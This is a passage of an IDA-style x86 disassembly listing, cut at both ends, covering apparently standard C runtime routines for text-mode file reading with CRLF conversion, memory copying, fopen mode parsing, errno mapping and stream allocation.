		mov	al, [ecx]
		test	al, al
		jns	loc_41907B
		test	edx, edx
		jz	short loc_418F95
		cmp	byte ptr [ebx],	0Ah
		jnz	short loc_418F95
		or	al, 4
		jmp	short loc_418F97
; ---------------------------------------------------------------------------


loc_418F95:				; CODE XREF: sub_418EBA+D0j
					; sub_418EBA+D5j
		and	al, 0FBh


loc_418F97:				; CODE XREF: sub_418EBA+D9j
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], ecx
		jnb	loc_419075


loc_418FAF:				; CODE XREF: sub_418EBA+1A3j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_419065
		cmp	al, 0Dh
		jz	short loc_418FCB
		mov	[ebx], al
		inc	ebx
		inc	[ebp+arg_8]
		jmp	loc_419057
; ---------------------------------------------------------------------------


loc_418FCB:				; CODE XREF: sub_418EBA+104j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_418FE5
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_418FE0
		add	[ebp+arg_8], 2
		jmp	short loc_419039
; ---------------------------------------------------------------------------


loc_418FE0:				; CODE XREF: sub_418EBA+11Ej
		mov	[ebp+arg_8], eax
		jmp	short loc_419053
; ---------------------------------------------------------------------------


loc_418FE5:				; CODE XREF: sub_418EBA+115j
		inc	[ebp+arg_8]
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		mov	eax, [edi]
		push	dword ptr [eax+esi]
		call	ds:dword_42008C	; ReadFile
		test	eax, eax
		jnz	short loc_41900D
		call	ds:dword_420008	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_419053


loc_41900D:				; CODE XREF: sub_418EBA+147j
		cmp	[ebp+var_C], 0
		jz	short loc_419053
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41902E
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_419039
		mov	byte ptr [ebx],	0Dh
		mov	ecx, [edi]
		mov	[ecx+esi+5], al
		jmp	short loc_419056
; ---------------------------------------------------------------------------


loc_41902E:				; CODE XREF: sub_418EBA+160j
		cmp	ebx, [ebp+arg_4]
		jnz	short loc_41903E
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41903E


loc_419039:				; CODE XREF: sub_418EBA+124j
					; sub_418EBA+167j
		mov	byte ptr [ebx],	0Ah
		jmp	short loc_419056
; ---------------------------------------------------------------------------


loc_41903E:				; CODE XREF: sub_418EBA+177j
					; sub_418EBA+17Dj
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41B348
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_419057


loc_419053:				; CODE XREF: sub_418EBA+129j
					; sub_418EBA+151j ...
		mov	byte ptr [ebx],	0Dh


loc_419056:				; CODE XREF: sub_418EBA+172j
					; sub_418EBA+182j
		inc	ebx


loc_419057:				; CODE XREF: sub_418EBA+10Cj
					; sub_418EBA+197j
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_418FAF
		jmp	short loc_419075
; ---------------------------------------------------------------------------


loc_419065:				; CODE XREF: sub_418EBA+FCj
		mov	eax, [edi]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_419075
		or	al, 2
		mov	[esi], al


loc_419075:				; CODE XREF: sub_418EBA+EFj
					; sub_418EBA+1A9j ...
		sub	ebx, [ebp+arg_4]
		mov	[ebp+var_8], ebx


loc_41907B:				; CODE XREF: sub_418EBA+C8j
		mov	eax, [ebp+var_8]
		jmp	short loc_419082
; ---------------------------------------------------------------------------


loc_419080:				; CODE XREF: sub_418EBA+16j
					; sub_418EBA+3Ej ...
		xor	eax, eax


loc_419082:				; CODE XREF: sub_418EBA+B3j
					; sub_418EBA+1C4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419087	proc near		; CODE XREF: sub_414A85+91p
					; sub_418DD9+4Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00419116 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_429040
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47C618
		jnb	short loc_419116
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47C620h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_419116
		push	ebx
		call	sub_41CD5C
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4190E6
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_418EBA
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_4190FD
; ---------------------------------------------------------------------------


loc_4190E6:				; CODE XREF: sub_419087+49j
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_4190FD:				; CODE XREF: sub_419087+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41910E
		mov	eax, [ebp+var_1C]
		jmp	short loc_41912C
sub_419087	endp


; =============== S U B	R O U T	I N E =======================================



sub_41910B	proc near		; DATA XREF: .rdata:stru_429040o
		mov	ebx, [ebp+8]
sub_41910B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41910E	proc near		; CODE XREF: sub_419087+7Ap
		push	ebx
		call	sub_41CDCF
		pop	ecx
		retn
sub_41910E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_419087


loc_419116:				; CODE XREF: sub_419087+15j
					; sub_419087+35j
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41912C:				; CODE XREF: sub_419087+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_419087
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419140	proc near		; CODE XREF: sub_414A85+5Fp
					; sub_414BBA+A8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_419160
		cmp	edi, eax
		jb	loc_4192DC


loc_419160:				; CODE XREF: sub_419140+16j
		test	edi, 3
		jnz	short loc_41917C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41919C
		rep movsd
		jmp	ds:off_41928C[edx*4]
; ---------------------------------------------------------------------------


loc_41917C:				; CODE XREF: sub_419140+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_419194
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41919C+4[eax*4]
; ---------------------------------------------------------------------------


loc_419194:				; CODE XREF: sub_419140+46j
		jmp	dword ptr ds:loc_41929C[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41919C:				; CODE XREF: sub_419140+31j
					; sub_419140+8Ej ...
		jmp	ds:off_419220[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4191B0
		dd offset loc_4191DC
		dd offset loc_419200
; ---------------------------------------------------------------------------


loc_4191B0:				; DATA XREF: sub_419140+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41919C
		rep movsd
		jmp	ds:off_41928C[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4191DC:				; DATA XREF: sub_419140+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41919C
		rep movsd
		jmp	ds:off_41928C[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419200:				; DATA XREF: sub_419140+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_41919C
		rep movsd
		jmp	ds:off_41928C[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_419220	dd offset loc_419283	; DATA XREF: sub_419140:loc_41919Cr
		dd offset loc_419270
		dd offset loc_419268
		dd offset loc_419260
		dd offset loc_419258
		dd offset loc_419250
		dd offset loc_419248
		dd offset loc_419240
; ---------------------------------------------------------------------------


loc_419240:				; CODE XREF: sub_419140:loc_41919Cj
					; DATA XREF: sub_419140+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_419248:				; CODE XREF: sub_419140:loc_41919Cj
					; DATA XREF: sub_419140+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_419250:				; CODE XREF: sub_419140:loc_41919Cj
					; DATA XREF: sub_419140+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_419258:				; CODE XREF: sub_419140:loc_41919Cj
					; DATA XREF: sub_419140+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_419260:				; CODE XREF: sub_419140:loc_41919Cj
					; DATA XREF: sub_419140+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_419268:				; CODE XREF: sub_419140:loc_41919Cj
					; DATA XREF: sub_419140+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_419270:				; CODE XREF: sub_419140:loc_41919Cj
					; DATA XREF: sub_419140+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_419283:				; CODE XREF: sub_419140:loc_41919Cj
					; DATA XREF: sub_419140:off_419220o
		jmp	ds:off_41928C[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41928C	dd offset loc_41929C	; DATA XREF: sub_419140+35r
					; sub_419140+92r ...
		dd offset loc_4192A4
		dd offset loc_4192B0
		dd offset loc_4192C4
; ---------------------------------------------------------------------------


loc_41929C:				; CODE XREF: sub_419140+35j
					; sub_419140+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4192A4:				; CODE XREF: sub_419140+35j
					; sub_419140+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4192B0:				; CODE XREF: sub_419140+35j
					; sub_419140+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4192C4:				; CODE XREF: sub_419140+35j
					; sub_419140+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4192DC:				; CODE XREF: sub_419140+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_419310
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_419304
		std
		rep movsd
		cld
		jmp	ds:off_419428[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_419304:				; CODE XREF: sub_419140+1B5j
					; sub_419140+210j ...
		neg	ecx
		jmp	ds:off_4193D8[ecx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419310:				; CODE XREF: sub_419140+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_419328
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_419328+4[eax*4]
; ---------------------------------------------------------------------------


loc_419328:				; CODE XREF: sub_419140+1DAj
					; DATA XREF: sub_419140+1E1r
		jmp	ds:off_419428[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_41933C
		dd offset loc_419360
		dd offset loc_419388
; ---------------------------------------------------------------------------


loc_41933C:				; DATA XREF: sub_419140+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_419304
		std
		rep movsd
		cld
		jmp	ds:off_419428[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_419360:				; DATA XREF: sub_419140+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_419304
		std
		rep movsd
		cld
		jmp	ds:off_419428[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_419388:				; DATA XREF: sub_419140+1F8o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_419304
		std
		rep movsd
		cld
		jmp	ds:off_419428[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4193DC
		dd offset loc_4193E4
		dd offset loc_4193EC
		dd offset loc_4193F4
		dd offset loc_4193FC
		dd offset loc_419404
		dd offset loc_41940C
off_4193D8	dd offset loc_41941F	; DATA XREF: sub_419140+1C6r
; ---------------------------------------------------------------------------


loc_4193DC:				; DATA XREF: sub_419140+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4193E4:				; DATA XREF: sub_419140+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_4193EC:				; DATA XREF: sub_419140+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_4193F4:				; DATA XREF: sub_419140+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4193FC:				; DATA XREF: sub_419140+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_419404:				; DATA XREF: sub_419140+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41940C:				; DATA XREF: sub_419140+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41941F:				; CODE XREF: sub_419140+1C6j
					; DATA XREF: sub_419140:off_4193D8o
		jmp	ds:off_419428[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_419428	dd offset loc_419438	; DATA XREF: sub_419140+1BBr
					; sub_419140:loc_419328r ...
		dd offset loc_419440
		dd offset loc_419450
		dd offset loc_419464
; ---------------------------------------------------------------------------


loc_419438:				; CODE XREF: sub_419140+1BBj
					; sub_419140:loc_419328j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419440:				; CODE XREF: sub_419140+1BBj
					; sub_419140:loc_419328j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_419450:				; CODE XREF: sub_419140+1BBj
					; sub_419140:loc_419328j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_419464:				; CODE XREF: sub_419140+1BBj
					; sub_419140:loc_419328j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_419140	endp


; =============== S U B	R O U T	I N E =======================================



sub_41947D	proc near		; CODE XREF: sub_414BBA+150p
					; sub_414BBA+19Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_47C358
		test	eax, eax
		jz	short loc_419495
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_419495
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_419495:				; CODE XREF: sub_41947D+7j
					; sub_41947D+12j
		xor	eax, eax
		retn
sub_41947D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419498	proc near		; CODE XREF: sub_414D67+35p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_47C500
		push	edi
		mov	edi, [ebp+arg_4]
		mov	al, [edi]
		xor	ebx, ebx
		cmp	al, 61h
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		jz	short loc_4194D1
		cmp	al, 72h
		jz	short loc_4194CA
		cmp	al, 77h
		jnz	loc_4195DD
		mov	ecx, 301h
		jmp	short loc_4194D6
; ---------------------------------------------------------------------------


loc_4194CA:				; CODE XREF: sub_419498+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4194D9
; ---------------------------------------------------------------------------


loc_4194D1:				; CODE XREF: sub_419498+1Dj
		mov	ecx, 109h


loc_4194D6:				; CODE XREF: sub_419498+30j
		or	esi, 2


loc_4194D9:				; CODE XREF: sub_419498+37j
		xor	edx, edx
		inc	edx
		jmp	loc_4195B8
; ---------------------------------------------------------------------------


loc_4194E1:				; CODE XREF: sub_419498+125j
		cmp	edx, ebx
		jz	loc_4195C3
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_419562
		jz	short loc_419555
		sub	eax, 2Bh
		jz	short loc_41953F
		sub	eax, 19h
		jz	short loc_419535
		sub	eax, 0Eh
		jz	short loc_419521
		dec	eax
		jnz	loc_41959A
		cmp	[ebp+var_4], ebx
		jnz	loc_41959A
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	loc_4195B8
; ---------------------------------------------------------------------------


loc_419521:				; CODE XREF: sub_419498+68j
		cmp	[ebp+var_4], ebx
		jnz	short loc_41959A
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	loc_4195B8
; ---------------------------------------------------------------------------


loc_419535:				; CODE XREF: sub_419498+63j
		test	cl, 40h
		jnz	short loc_41959A
		or	ecx, 40h
		jmp	short loc_4195B8
; ---------------------------------------------------------------------------


loc_41953F:				; CODE XREF: sub_419498+5Ej
		test	cl, 2
		jnz	short loc_41959A
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4195B8
; ---------------------------------------------------------------------------


loc_419555:				; CODE XREF: sub_419498+59j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41959A
		or	ecx, eax
		jmp	short loc_4195B8
; ---------------------------------------------------------------------------


loc_419562:				; CODE XREF: sub_419498+57j
		sub	eax, 62h
		jz	short loc_4195AD
		dec	eax
		jz	short loc_419595
		sub	eax, 0Bh
		jz	short loc_419581
		sub	eax, 6
		jnz	short loc_41959A
		test	ch, 0C0h
		jnz	short loc_41959A
		or	ecx, 4000h
		jmp	short loc_4195B8
; ---------------------------------------------------------------------------


loc_419581:				; CODE XREF: sub_419498+D5j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41959A
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	short loc_4195B8
; ---------------------------------------------------------------------------


loc_419595:				; CODE XREF: sub_419498+D0j
		cmp	[ebp+var_8], ebx
		jz	short loc_41959E


loc_41959A:				; CODE XREF: sub_419498+6Bj
					; sub_419498+74j ...
		xor	edx, edx
		jmp	short loc_4195B8
; ---------------------------------------------------------------------------


loc_41959E:				; CODE XREF: sub_419498+100j
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	short loc_4195B8
; ---------------------------------------------------------------------------


loc_4195AD:				; CODE XREF: sub_419498+CDj
		test	ch, 0C0h
		jnz	short loc_41959A
		or	ecx, 8000h


loc_4195B8:				; CODE XREF: sub_419498+44j
					; sub_419498+84j ...
		inc	edi
		mov	al, [edi]
		cmp	al, bl
		jnz	loc_4194E1


loc_4195C3:				; CODE XREF: sub_419498+4Bj
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41D844
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4195E1


loc_4195DD:				; CODE XREF: sub_419498+25j
		xor	eax, eax
		jmp	short loc_4195FB
; ---------------------------------------------------------------------------


loc_4195E1:				; CODE XREF: sub_419498+143j
		mov	eax, [ebp+arg_C]
		inc	dword_47C200
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_4195FB:				; CODE XREF: sub_419498+147j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419498	endp


; =============== S U B	R O U T	I N E =======================================



sub_419600	proc near		; CODE XREF: sub_414D67+18p
					; sub_414F14+2Bp ...
		call	sub_416E15
		add	eax, 8
		retn
sub_419600	endp


; =============== S U B	R O U T	I N E =======================================



sub_419609	proc near		; CODE XREF: sub_414F14+36p
					; sub_417D0C+8Ap ...
		call	sub_416E15
		add	eax, 0Ch
		retn
sub_419609	endp


; =============== S U B	R O U T	I N E =======================================



sub_419612	proc near		; CODE XREF: sub_414F14+16p
					; sub_415C85+1Dp ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_416E15
		mov	ecx, [esp+4+arg_0]
		mov	[eax+0Ch], ecx
		xor	esi, esi


loc_419621:				; CODE XREF: sub_419612+1Cj
		cmp	ecx, dword_42DD20[esi*8]
		jz	short loc_419648
		inc	esi
		cmp	esi, 2Dh
		jb	short loc_419621
		cmp	ecx, 13h
		jb	short loc_419659
		cmp	ecx, 24h
		ja	short loc_419659
		call	sub_416E15
		mov	dword ptr [eax+8], 0Dh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419648:				; CODE XREF: sub_419612+16j
		call	sub_416E15
		mov	ecx, dword_42DD24[esi*8]
		mov	[eax+8], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419659:				; CODE XREF: sub_419612+21j
					; sub_419612+26j
		cmp	ecx, 0BCh
		jb	short loc_419677
		cmp	ecx, 0CAh
		ja	short loc_419677
		call	sub_416E15
		mov	dword ptr [eax+8], 8
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419677:				; CODE XREF: sub_419612+4Dj
					; sub_419612+55j
		call	sub_416E15
		mov	dword ptr [eax+8], 16h
		pop	esi
		retn
sub_419612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419685	proc near		; CODE XREF: sub_414D67+Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_429050
		call	__SEH_prolog
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	1
		call	sub_418285
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		xor	esi, esi


loc_4196A5:				; CODE XREF: sub_419685+85j
		mov	[ebp+var_20], esi
		cmp	esi, dword_47D9A0
		jge	loc_419774
		mov	eax, dword_47C984
		mov	eax, [eax+esi*4]
		cmp	eax, ebx
		jz	short loc_419710
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_419709
		cmp	esi, 2
		jle	short loc_4196E2
		cmp	esi, 14h
		jge	short loc_4196E2
		lea	eax, [esi+10h]
		push	eax
		call	sub_418206
		pop	ecx
		test	eax, eax
		jz	loc_419774


loc_4196E2:				; CODE XREF: sub_419685+44j
					; sub_419685+49j
		mov	eax, dword_47C984
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_418027
		pop	ecx
		pop	ecx
		mov	eax, dword_47C984
		mov	eax, [eax+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41970C
		push	eax
		push	esi
		call	sub_418079
		pop	ecx
		pop	ecx


loc_419709:				; CODE XREF: sub_419685+3Fj
		inc	esi
		jmp	short loc_4196A5
; ---------------------------------------------------------------------------


loc_41970C:				; CODE XREF: sub_419685+79j
		mov	edi, eax
		jmp	short loc_419771
; ---------------------------------------------------------------------------


loc_419710:				; CODE XREF: sub_419685+39j
		shl	esi, 2
		push	38h
		call	sub_414E7D
		pop	ecx
		mov	ecx, dword_47C984
		mov	[esi+ecx], eax
		mov	eax, dword_47C984
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_419774
		push	0FA0h
		add	eax, 20h
		push	eax
		call	sub_41D188
		pop	ecx
		pop	ecx
		test	eax, eax
		mov	eax, dword_47C984
		jnz	short loc_41975C
		push	dword ptr [esi+eax]
		call	sub_414A14
		pop	ecx
		mov	eax, dword_47C984
		mov	[esi+eax], ebx
		jmp	short loc_419774
; ---------------------------------------------------------------------------


loc_41975C:				; CODE XREF: sub_419685+C2j
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:dword_42001C	; RtlEnterCriticalSection
		mov	eax, dword_47C984
		mov	edi, [esi+eax]


loc_419771:				; CODE XREF: sub_419685+89j
		mov	[ebp+var_1C], edi


loc_419774:				; CODE XREF: sub_419685+29j
					; sub_419685+57j ...
		cmp	edi, ebx
		jz	short loc_41978A
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx
		or	dword ptr [edi+10h], 0FFFFFFFFh


loc_41978A:				; CODE XREF: sub_419685+F1j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41979E
		mov	eax, edi
		call	__SEH_epilog
		retn
sub_419685	endp


; =============== S U B	R O U T	I N E =======================================



sub_41979B	proc near		; DATA XREF: .rdata:stru_429050o
		mov	edi, [ebp-1Ch]
sub_41979B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41979E	proc near		; CODE XREF: sub_419685+109p
		push	1
		call	sub_4181F1
		pop	ecx
		retn
sub_41979E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197A7	proc near		; DATA XREF: sub_414EC5+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_4155DC
		cmp	eax, 65h
		jmp	short loc_4197C6
; ---------------------------------------------------------------------------


loc_4197BA:				; CODE XREF: sub_4197A7+20j
		inc	esi
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41C33B
		test	eax, eax


loc_4197C6:				; CODE XREF: sub_4197A7+11j
		pop	ecx
		jnz	short loc_4197BA
		mov	al, [esi]
		mov	cl, byte_42E0F8
		mov	[esi], cl
		inc	esi


loc_4197D4:				; CODE XREF: sub_4197A7+38j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4197D4
		pop	esi
		retn
sub_4197A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197E3	proc near		; DATA XREF: sub_414EC5+Ao

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	bl, byte_42E0F8
		jmp	short loc_4197F5
; ---------------------------------------------------------------------------


loc_4197F0:				; CODE XREF: sub_4197E3+16j
		cmp	cl, bl
		jz	short loc_4197FB
		inc	eax


loc_4197F5:				; CODE XREF: sub_4197E3+Bj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_4197F0


loc_4197FB:				; CODE XREF: sub_4197E3+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_41982C
		jmp	short loc_41980F
; ---------------------------------------------------------------------------


loc_419804:				; CODE XREF: sub_4197E3+30j
		cmp	cl, 65h
		jz	short loc_419815
		cmp	cl, 45h
		jz	short loc_419815
		inc	eax


loc_41980F:				; CODE XREF: sub_4197E3+1Fj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_419804


loc_419815:				; CODE XREF: sub_4197E3+24j
					; sub_4197E3+29j
		mov	edx, eax


